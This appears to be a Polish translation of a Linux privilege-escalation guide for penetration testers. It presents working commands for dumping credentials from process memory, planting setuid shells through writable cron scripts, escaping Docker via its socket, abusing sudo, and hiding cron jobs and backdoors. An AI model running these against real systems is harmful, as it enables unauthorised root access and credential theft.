Linux Privilege Escalation

Reading time: 58 minutes

Informacje o systemie

Informacje o systemie operacyjnym

Zacznijmy od zdobycia informacji o działającym systemie operacyjnym

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Path

Jeśli masz uprawnienia do zapisu w którymkolwiek folderze wewnątrz zmiennej PATH możesz być w stanie hijack some libraries or binaries:

echo $PATH

Informacje o środowisku

Czy w zmiennych środowiskowych znajdują się interesujące informacje, hasła lub klucze API?

(env || set) 2>/dev/null

Kernel exploits

Sprawdź wersję kernela i czy istnieje jakiś exploit, który można wykorzystać do eskalacji uprawnień

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Możesz znaleźć dobrą listę podatnych wersji jądra i kilka już compiled exploits tutaj: https://github.com/lucyoa/kernel-exploits and exploitdb sploits.
Inne serwisy, gdzie możesz znaleźć kilka compiled exploits: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Aby wyodrębnić wszystkie podatne wersje jądra z tej strony możesz wykonać:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Narzędzia, które mogą pomóc w wyszukiwaniu exploitów kernela to:

linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (uruchomić NA ofierze, sprawdza tylko exploity dla kernela 2.x)

Zawsze wyszukaj wersję kernela w Google, być może Twoja wersja jest wymieniona w opisie jakiegoś kernel exploita i wtedy będziesz mieć pewność, że exploit jest poprawny.

CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Wersja Sudo

Na podstawie podatnych wersji sudo, które pojawiają się w:

searchsploit sudo

Możesz sprawdzić, czy wersja sudo jest podatna, używając tego polecenia grep.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

sudo < v1.28

Od @sickrov

sudo -u#-1 /bin/bash

Dmesg: weryfikacja podpisu nie powiodła się

Sprawdź smasher2 box of HTB jako przykład tego, jak tę vuln można wykorzystać.

dmesg 2>/dev/null | grep "signature"

Więcej enumeracji systemu

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Wypisz możliwe zabezpieczenia

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker Breakout

Jeśli jesteś wewnątrz docker container, możesz spróbować z niego uciec:

Docker Security

Dyski

Sprawdź what is mounted and unmounted, gdzie i dlaczego. Jeśli coś jest unmounted, spróbuj je zamontować (mount) i sprawdzić prywatne informacje

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Przydatne oprogramowanie

Wymień przydatne binaria

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Sprawdź także, czy jakiś kompilator jest zainstalowany. Przyda się to, jeśli będziesz musiał użyć jakiegoś kernel exploit, ponieważ zaleca się skompilować go na maszynie, na której zamierzasz go użyć (lub na podobnej).

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Zainstalowane podatne oprogramowanie

Sprawdź wersję zainstalowanych pakietów i usług. Być może istnieje jakaś stara wersja Nagios (na przykład), która mogłaby zostać wykorzystana do escalating privileges…
Zaleca się ręcznie sprawdzić wersje najbardziej podejrzanego zainstalowanego oprogramowania.

dpkg -l #Debian
rpm -qa #Centos

Jeśli masz dostęp SSH do maszyny, możesz też użyć openVAS, aby sprawdzić przestarzałe i podatne na ataki oprogramowanie zainstalowane na tej maszynie.

[!NOTE] > Zauważ, że te polecenia wyświetlą wiele informacji, które w większości będą bezużyteczne, dlatego zaleca się użycie aplikacji takich jak OpenVAS lub podobnych, które sprawdzą, czy jakakolwiek zainstalowana wersja oprogramowania jest podatna na znane exploits

Procesy

Rzuć okiem na jakie procesy są uruchamiane i sprawdź, czy któryś proces nie ma większych uprawnień niż powinien (może tomcat uruchamiany przez root?)

ps aux
ps -ef
top -n 1

Zawsze sprawdzaj, czy nie działają electron/cef/chromium debuggers running, you could abuse it to escalate privileges. Linpeas wykrywa je, sprawdzając parametr --inspect w linii poleceń procesu.
Sprawdź też swoje uprawnienia do binarek procesów, być może możesz którąś nadpisać.

Monitorowanie procesów

Możesz użyć narzędzi takich jak pspy do monitorowania procesów. To może być bardzo przydatne do zidentyfikowania podatnych procesów uruchamianych często lub gdy spełniony jest zestaw wymagań.

Pamięć procesu

Niektóre usługi na serwerze zapisują dane uwierzytelniające w postaci jawnego tekstu w pamięci.
Zwykle będziesz potrzebować root privileges, aby odczytać pamięć procesów należących do innych użytkowników, dlatego jest to zwykle bardziej przydatne, gdy jesteś już root i chcesz odnaleźć więcej danych uwierzytelniających.
Pamiętaj jednak, że jako zwykły użytkownik możesz odczytać pamięć procesów, które należą do ciebie.

GDB

Jeśli masz dostęp do pamięci usługi FTP (na przykład), możesz odczytać Heap i przeszukać go w poszukiwaniu danych uwierzytelniających.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

GDB Skrypt

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

Dla danego PID procesu maps pokazuje, jak pamięć jest mapowana w przestrzeni adresowej tego procesu; pokazuje też uprawnienia każdego zmapowanego regionu. Pseudo-plik mem ujawnia samą pamięć procesu. Z pliku maps wiemy, które obszary pamięci są czytelne i ich offsety. Używamy tych informacji, aby seek into the mem file and dump all readable regions do pliku.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem zapewnia dostęp do pamięci fizycznej systemu, a nie pamięci wirtualnej. Dostęp do wirtualnej przestrzeni adresowej jądra można uzyskać za pomocą /dev/kmem.
Zazwyczaj, /dev/mem jest dostępny do odczytu tylko dla root i grupy kmem.

strings /dev/mem -n10 | grep -i PASS

ProcDump dla linux

ProcDump to wersja dla linux będąca reinterpretacją klasycznego narzędzia ProcDump z pakietu Sysinternals dla Windows. Pobierz ją z https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Narzędzia

Aby zrzucić pamięć procesu możesz użyć:

• https://github.com/Sysinternals/ProcDump-for-Linux
• https://github.com/hajzer/bash-memory-dump (root) - _Możesz ręcznie usunąć wymagania dotyczące root i zrzucić proces należący do Ciebie
• Script A.5 z https://www.delaat.net/rp/2016-2017/p97/report.pdf (wymagany root)

Dane uwierzytelniające z pamięci procesu

Ręczny przykład

Jeśli znajdziesz, że proces authenticator jest uruchomiony:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Możesz zrzucić proces (zobacz wcześniejsze sekcje, aby znaleźć różne sposoby zrzucenia pamięci procesu) i przeszukać pamięć w poszukiwaniu poświadczeń:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

The tool https://github.com/huntergregal/mimipenguin będzie kraść poświadczenia w postaci jawnego tekstu z pamięci i z niektórych dobrze znanych plików. Wymaga uprawnień root, aby działać poprawnie.

Wzorce wyszukiwania/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Zaplanowane/Cron zadania

Sprawdź, czy jakieś zaplanowane zadanie jest podatne. Może uda się wykorzystać skrypt uruchamiany przez root (wildcard vuln? czy można modyfikować pliki, których używa root? użyć symlinks? utworzyć konkretne pliki w katalogu, którego używa root?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Ścieżka crona

Na przykład, w pliku /etc/crontab możesz znaleźć PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Zwróć uwagę, że użytkownik "user" ma prawa zapisu do /home/user)

Jeśli w tym crontabie użytkownik root próbuje wykonać jakąś komendę lub skrypt bez ustawienia PATH. Na przykład: * * * * root overwrite.sh\

Wtedy możesz uzyskać powłokę roota, używając:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron używający skryptu z wildcard (Wildcard Injection)

Jeśli skrypt jest uruchamiany przez root i ma w poleceniu “*”, możesz to wykorzystać, by uzyskać nieoczekiwane efekty (np. privesc). Przykład:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

Jeśli wildcard jest poprzedzony ścieżką taką jak /some/path/* , nie jest podatny (nawet ./* nie jest).

Przeczytaj poniższą stronę, aby poznać więcej trików związanych z wildcard exploitation:

Wildcards Spare tricks

Bash arithmetic expansion injection in cron log parsers

Bash wykonuje parameter expansion i command substitution przed arithmetic evaluation w ((...)), $((...)) i let. Jeśli root cron/parser odczytuje pola logu pochodzące z niezaufanego źródła i przekazuje je do kontekstu arytmetycznego, atakujący może wstrzyknąć command substitution $(...), które wykona się jako root podczas uruchomienia crona.

• Dlaczego to działa: W Bash ekspansje zachodzą w tej kolejności: parameter/variable expansion, command substitution, arithmetic expansion, następnie word splitting i pathname expansion. Zatem wartość taka jak $(/bin/bash -c 'id > /tmp/pwn')0 jest najpierw zastępowana (uruchamiając polecenie), a następnie pozostała liczba 0 jest używana w obliczeniu arytmetycznym, więc skrypt kontynuuje bez błędów.

• Typowy podatny wzorzec:

#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count ))     # or: let "n=$count"
done < /var/www/app/log/application.log

• Eksploatacja: Spraw, aby tekst kontrolowany przez atakującego został zapisany w parsowanym logu, tak aby pole wyglądające jak liczba zawierało command substitution i kończyło się cyfrą. Upewnij się, że Twoje polecenie nic nie wypisuje na stdout (lub przekieruj je), aby obliczenie arytmetyczne pozostało ważne.

# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.

Cron script overwriting and symlink

If you can modify a cron script executed by root, you can get a shell very easily:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

Jeśli script uruchamiany przez root używa directory, do którego masz pełny dostęp, może być przydatne usunięcie tego folderu i utworzenie symlink wskazującego na inny folder, serwującego script kontrolowany przez Ciebie.

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Częste cron jobs

Możesz monitorować procesy, aby wyszukać te, które są uruchamiane co 1, 2 lub 5 minut. Być może możesz to wykorzystać i escalate privileges.

Na przykład, aby monitorować co 0.1s przez 1 minutę, sortować według najmniej wykonywanych poleceń i usunąć polecenia, które były wykonywane najczęściej, możesz zrobić:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Możesz także użyć pspy (będzie monitorować i wypisywać każdy uruchamiany proces).

Niewidoczne cron jobs

Możliwe jest utworzenie cronjobu umieszczając carriage return po komentarzu (bez znaku nowej linii), i cron job będzie działać. Przykład (zwróć uwagę na znak carriage return):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Usługi

Pliki .service z prawem zapisu

Sprawdź, czy możesz zapisać jakiś plik .service, jeśli tak, możesz go zmodyfikować, tak aby uruchamiał Twój backdoor gdy usługa jest uruchomiona, zrestartowana lub zatrzymana (może być konieczne poczekanie na ponowne uruchomienie maszyny).
Na przykład stwórz swój backdoor wewnątrz pliku .service za pomocą ExecStart=/tmp/script.sh

Zapisywalne binaria usług

Pamiętaj, że jeśli masz uprawnienia zapisu do binarek uruchamianych przez usługi, możesz je zmienić na backdoors, tak że gdy usługi zostaną ponownie uruchomione, backdoors zostaną wykonane.

systemd PATH - Ścieżki względne

Możesz zobaczyć PATH używany przez systemd za pomocą:

systemctl show-environment

Jeśli odkryjesz, że możesz write w dowolnym z folderów ścieżki, możesz być w stanie escalate privileges. Musisz wyszukać relative paths being used on service configurations w plikach takich jak:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Następnie utwórz wykonywalny plik o tej samej nazwie co binarka określona przez względną ścieżkę w folderze PATH używanym przez systemd, do którego możesz zapisywać, a gdy usługa zostanie poproszona o wykonanie podatnej akcji (Start, Stop, Reload), twój backdoor zostanie uruchomiony (użytkownicy bez uprawnień zwykle nie mogą startować/stopować usług, ale sprawdź, czy możesz użyć sudo -l).

Dowiedz się więcej o usługach za pomocą man systemd.service.

Timery

Timery to pliki jednostek systemd, których nazwa kończy się na **.timer**, które kontrolują pliki lub zdarzenia **.service**. Timery mogą być używane jako alternatywa dla cron, ponieważ mają wbudowane wsparcie dla zdarzeń opartych na czasie kalendarzowym oraz zdarzeń opartych na czasie monotonicznym i mogą działać asynchronicznie.

Możesz wyliczyć wszystkie timery za pomocą:

systemctl list-timers --all

Zapisywalne timery

Jeśli możesz zmodyfikować timer, możesz sprawić, że wykona on niektóre istniejące jednostki systemd.unit (takie jak .service lub .target).

Unit=backdoor.service

W dokumentacji możesz przeczytać, czym jest Unit:

The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix.

Dlatego, aby nadużyć tego uprawnienia musiałbyś:

• Znaleźć jakąś jednostkę systemd (np. .service), która uruchamia wykonalny plik, do którego masz prawa zapisu
• Znaleźć jakąś jednostkę systemd, która uruchamia względną ścieżkę i masz uprawnienia do zapisu w systemd PATH (aby podszyć się pod ten plik wykonywalny)

Learn more about timers with man systemd.timer.

Włączanie timera

Aby włączyć timer potrzebujesz uprawnień roota i wykonać:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

Uwaga: timer jest aktywowany przez utworzenie dowiązania symbolicznego do niego w /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Gniazda

Unix Domain Sockets (UDS) umożliwiają komunikację procesów na tych samych lub różnych maszynach w modelu klient-serwer. Wykorzystują standardowe pliki deskryptorów Unix do komunikacji międzykomputerowej i są konfigurowane za pomocą plików .socket.

Sockets can be configured using .socket files.

Dowiedz się więcej o gniazdach za pomocą man systemd.socket. W tym pliku można skonfigurować kilka interesujących parametrów:

• ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: Te opcje są różne, ale w skrócie służą do wskazania, gdzie będzie nasłuchiwać socket (ścieżka pliku AF_UNIX socket, adres IPv4/6 i/lub numer portu do nasłuchu itp.)
• Accept: Przyjmuje argument boolean. Jeśli true, dla każdego przychodzącego połączenia uruchamiana jest instancja service i przekazywany jest do niej jedynie socket połączenia. Jeśli false, wszystkie nasłuchujące sockety są przekazywane do uruchomionej jednostki service, i tylko jedna jednostka service jest uruchamiana dla wszystkich połączeń. Ta wartość jest ignorowana dla socketów datagramowych i FIFO, gdzie jedna jednostka service bezwarunkowo obsługuje cały przychodzący ruch. Domyślnie false. Ze względów wydajnościowych zaleca się pisać nowe demony w sposób odpowiedni dla Accept=no.
• ExecStartPre, ExecStartPost: Przyjmują jedną lub więcej linii poleceń, które są wykonywane przed lub po utworzeniu i powiązaniu nasłuchujących socketów/FIFO, odpowiednio. Pierwszym tokenem linii poleceń musi być bezwzględna nazwa pliku, po niej argumenty procesu.
• ExecStopPre, ExecStopPost: Dodatkowe polecenia, które są wykonywane przed lub po zamknięciu i usunięciu nasłuchujących socketów/FIFO, odpowiednio.
• Service: Określa nazwę jednostki service, którą należy aktywować przy przychodzącym ruchu. To ustawienie jest dozwolone tylko dla socketów z Accept=no. Domyślnie ustawione jest na service o tej samej nazwie co socket (z zastąpionym sufiksem). W większości przypadków nie powinno być potrzeby używania tej opcji.

Zapiswalne pliki .socket

Jeśli znajdziesz zapisywalny plik .socket, możesz dodać na początku sekcji [Socket] coś w stylu: ExecStartPre=/home/kali/sys/backdoor i backdoor zostanie wykonany przed utworzeniem socketu. W związku z tym prawdopodobnie będziesz musiał poczekać do restartu maszyny.
Uwaga: system musi korzystać z tej konfiguracji pliku socket, w przeciwnym razie backdoor nie zostanie wykonany

Zapisywalne sockety

Jeśli zidentyfikujesz jakiekolwiek zapisywalne sockety (mówimy tu o Unix Sockets, a nie o konfiguracyjnych plikach .socket), to możesz komunikować się z tym socketem i być może wykorzystać podatność.

Enumeracja Unix Sockets

netstat -a -p --unix

Połączenie surowe

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Przykład wykorzystania:

Socket Command Injection

HTTP sockets

Zwróć uwagę, że może istnieć kilka sockets nasłuchujących żądań HTTP (nie mówię tu o .socket files, lecz o plikach działających jako unix sockets). Możesz to sprawdzić za pomocą:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

Jeśli socket odpowiada na zapytania HTTP, możesz się z nim komunikować i być może exploit some vulnerability.

Zapisowalne gniazdo Dockera

Gniazdo Dockera, często znajdujące się pod /var/run/docker.sock, to krytyczny plik, który powinien być zabezpieczony. Domyślnie jest zapisywalny przez użytkownika root oraz członków grupy docker. Posiadanie dostępu zapisu do tego gniazda może prowadzić do privilege escalation. Poniżej wyjaśnienie, jak można to osiągnąć i alternatywne metody, jeśli Docker CLI nie jest dostępne.

Privilege Escalation with Docker CLI

Jeśli masz dostęp zapisu do gniazda Dockera, możesz escalate privileges używając następujących poleceń:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Te polecenia pozwalają uruchomić kontener z dostępem roota do systemu plików hosta.

Korzystanie bezpośrednio z Docker API

W przypadkach, gdy Docker CLI nie jest dostępne, Docker socket można nadal obsługiwać przy użyciu Docker API i poleceń curl.

1. Wyświetl obrazy Dockera: Pobierz listę dostępnych obrazów.

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json

2. Utwórz kontener: Wyślij żądanie utworzenia kontenera, który montuje katalog root systemu hosta.

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Uruchom nowo utworzony kontener:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start

3. Podłącz się do kontenera: Użyj socat, aby nawiązać połączenie z kontenerem, umożliwiając wykonywanie poleceń w jego wnętrzu.

socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

Po nawiązaniu połączenia socat możesz wykonywać polecenia bezpośrednio w kontenerze z dostępem roota do systemu plików hosta.

Inne

Zwróć uwagę, że jeśli masz uprawnienia do zapisu na docker socket, ponieważ jesteś w grupie docker, masz więcej sposobów na eskalację uprawnień. Jeśli docker API nasłuchuje na porcie możesz również być w stanie je przejąć.

Sprawdź więcej sposobów na wyjście z dockera lub nadużycie go do eskalacji uprawnień w:

Docker Security

Containerd (ctr) eskalacja uprawnień

Jeśli możesz użyć polecenia ctr, przeczytaj następującą stronę, ponieważ możesz go nadużyć do eskalacji uprawnień:

Containerd (ctr) Privilege Escalation

Eskalacja uprawnień RunC

Jeśli możesz użyć polecenia runc, przeczytaj następującą stronę, ponieważ możesz go nadużyć do eskalacji uprawnień:

RunC Privilege Escalation

D-Bus

D-Bus jest zaawansowanym systemem komunikacji międzyprocesowej (IPC), który umożliwia aplikacjom efektywną interakcję i wymianę danych. Zaprojektowany z myślą o nowoczesnych systemach Linux, oferuje solidne ramy dla różnych form komunikacji między aplikacjami.

System jest wszechstronny, wspierając podstawową komunikację międzyprocesową, która usprawnia wymianę danych między procesami, przypominając rozszerzone gniazda domeny UNIX. Ponadto pomaga w rozgłaszaniu zdarzeń lub sygnałów, ułatwiając płynną integrację komponentów systemu. Na przykład sygnał od demona Bluetooth o przychodzącym połączeniu może spowodować wyciszenie odtwarzacza muzyki, poprawiając komfort użytkownika. Dodatkowo D-Bus obsługuje system zdalnych obiektów, upraszczając żądania usług i wywołania metod między aplikacjami, upraszczając procesy, które wcześniej były skomplikowane.

D-Bus działa w modelu allow/deny, zarządzając uprawnieniami do wiadomości (wywołania metod, emisje sygnałów itp.) na podstawie skumulowanego efektu pasujących reguł polityki. Te polityki określają interakcje z busem, co potencjalnie może pozwolić na eskalację uprawnień poprzez wykorzystanie tych uprawnień.

Podano przykład takiej polityki w /etc/dbus-1/system.d/wpa_supplicant.conf, opisujący uprawnienia dla użytkownika root do posiadania, wysyłania i odbierania wiadomości od fi.w1.wpa_supplicant1.

Polityki bez określonego użytkownika lub grupy stosują się uniwersalnie, podczas gdy polityki kontekstu "default" odnoszą się do wszystkich, którzy nie są objęci innymi, specyficznymi politykami.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Dowiedz się, jak enumerować i wykorzystywać komunikację D-Bus tutaj:

D-Bus Enumeration & Command Injection Privilege Escalation

Sieć

Zawsze warto przeprowadzić enumerację sieci i ustalić pozycję maszyny.

Ogólna enumeracja

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

Otwarte porty

Zawsze sprawdź usługi sieciowe działające na maszynie, z którymi nie mogłeś wejść w interakcję przed uzyskaniem do niej dostępu:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Sniffing

Sprawdź, czy możesz sniff traffic. Jeśli tak, możesz być w stanie przechwycić pewne credentials.

timeout 1 tcpdump

Użytkownicy

Ogólna enumeracja

Sprawdź, kim jesteś, jakie masz uprawnienia, którzy użytkownicy są w systemie, którzy mogą się zalogować i którzy mają uprawnienia roota:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Big UID

Niektóre wersje Linuksa były podatne na błąd, który pozwala użytkownikom z UID > INT_MAX na eskalację uprawnień. Więcej informacji: here, here and here.
Wykorzystaj to przy użyciu: systemd-run -t /bin/bash

Grupy

Sprawdź, czy jesteś członkiem jakiejś grupy, która mogłaby przyznać Ci uprawnienia root:

Interesting Groups - Linux Privesc

Schowek

Sprawdź, czy w schowku znajduje się coś interesującego (jeśli to możliwe)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

Polityka haseł

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

Znane hasła

Jeżeli znasz jakiekolwiek hasło środowiska, spróbuj zalogować się jako każdy użytkownik używając tego hasła.

Su Brute

Jeśli nie przeszkadza Ci generowanie dużego hałasu i na komputerze dostępne są binaria su i timeout, możesz spróbować brute-force użytkownika używając su-bruteforce.
Linpeas z parametrem -a również próbuje brute-force użytkowników.

Nadużycia zapisu $PATH

$PATH

Jeżeli stwierdzisz, że możesz zapisywać w jakimś katalogu z $PATH możesz być w stanie eskalować uprawnienia przez utworzenie backdoor w zapisywalnym katalogu o nazwie pewnego polecenia, które będzie uruchamiane przez innego użytkownika (root ideally) i które jest not loaded from a folder that is located previous to your writable folder in $PATH.

SUDO and SUID

Możesz mieć możliwość uruchomienia jakiegoś polecenia przy użyciu sudo lub plik może mieć ustawiony bit suid. Sprawdź to używając:

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

Niektóre nieoczekiwane polecenia pozwalają na odczyt i/lub zapis plików albo nawet wykonanie polecenia. Na przykład:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

Konfiguracja Sudo może pozwolić użytkownikowi wykonać pewne polecenie z uprawnieniami innego użytkownika bez znajomości hasła.

$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim

W tym przykładzie użytkownik demo może uruchamiać vim jako root. Zdobycie powłoki jest teraz trywialne — wystarczy dodać klucz ssh do katalogu root lub wywołać sh.

sudo vim -c '!sh'

SETENV

